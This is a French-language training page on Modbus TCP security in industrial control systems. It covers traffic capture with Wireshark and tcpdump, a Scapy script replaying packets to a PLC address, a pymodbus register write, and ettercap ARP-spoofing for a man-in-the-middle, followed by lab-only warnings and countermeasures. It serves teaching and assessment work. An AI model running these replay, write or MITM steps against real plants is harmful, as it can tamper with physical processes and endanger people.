OT / ICS/ Modbus TCP: From Recon to Register Manipulation / Modbus Traffic Capture and Replay

Modbus Traffic Capture and Replay

practical

Modbus Traffic Capture & Replay

La capture et l'analyse du trafic Modbus TCP constituent une étape fondamentale dans l'évaluation OT. Modbus TCP transite en clair sur le port 502, sans authentification ni chiffrement.

Capture avec Wireshark

mbtcp                          # tout le trafic Modbus TCP
mbtcp.trans_id == 0x0001       # ID de transaction
modbus.func_code == 3          # Read Holding Registers
modbus.func_code == 6          # Write Single Register
modbus.reference_num == 40001  # registre cible

En CLI :

tcpdump -i eth0 -w modbus_capture.pcap 'tcp port 502'
tshark -r modbus_capture.pcap -Y "modbus" -T fields \
       -e ip.src -e ip.dst -e modbus.func_code -e modbus.reference_num

ATTENTION : Sur réseau OT en production, ne JAMAIS connecter un poste de capture sans validation de l'équipe d'exploitation. Privilégiez un TAP passif optique ou cuivre.

Analyse session typique

MBAP header : | Octets | Champ | Description | |--------|-------|-------------| | 0-1 | Transaction ID | Identifiant unique | | 2-3 | Protocol ID | Toujours 0x0000 pour Modbus | | 4-5 | Length | Longueur des octets suivants | | 6 | Unit ID | Adresse de l'esclave | | 7 | Function Code | Code fonction (01, 03, 06...) | | 8+ | Data | Données spécifiques |

Rejeu avec Scapy

Sans nonce ni timestamp, Modbus TCP est intrinsèquement vulnérable.

from scapy.all import rdpcap, IP, TCP, send, Raw

packets = rdpcap("modbus_capture.pcap")
target_ip = "192.168.1.50"
target_port = 502

for pkt in packets:
    if pkt.haslayer(TCP) and pkt[TCP].dport == 502 and pkt.haslayer(Raw):
        payload = bytes(pkt[Raw].load)
        replay = IP(dst=target_ip) / TCP(dport=target_port, flags="PA") / Raw(load=payload)
        send(replay, verbose=False)

Plus simple — pymodbus au niveau applicatif :

from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient("192.168.1.50", port=502)
client.connect()
response = client.write_register(address=9, value=0x00FF, slave=1)
print(response)
client.close()

MITM avec ettercap

echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -T -i eth0 -M arp:remote /192.168.1.50// /192.168.1.100//

MITRE ATT&CK for ICS : T0830 (Adversary-in-the-Middle).

ATTENTION : L'altération en transit d'une consigne peut entraîner des conséquences physiques graves : ouverture de vanne, emballement de four, mise hors tolérance d'un procédé chimique. Strictement réservé à un laboratoire isolé.

Détection et contre-mesures

Norme IEC 62443-3-3 (SR 3.1) : intégrité des communications. Contre-mesures : - Modbus TCP Security avec TLS mutuel (port 802) - DMZ industrielle (zone Purdue 3.5) - Monitoring passif (Claroty, Nozomi, Dragos) - Signatures IDS sur fonctions d'écriture (05, 06, 15, 16)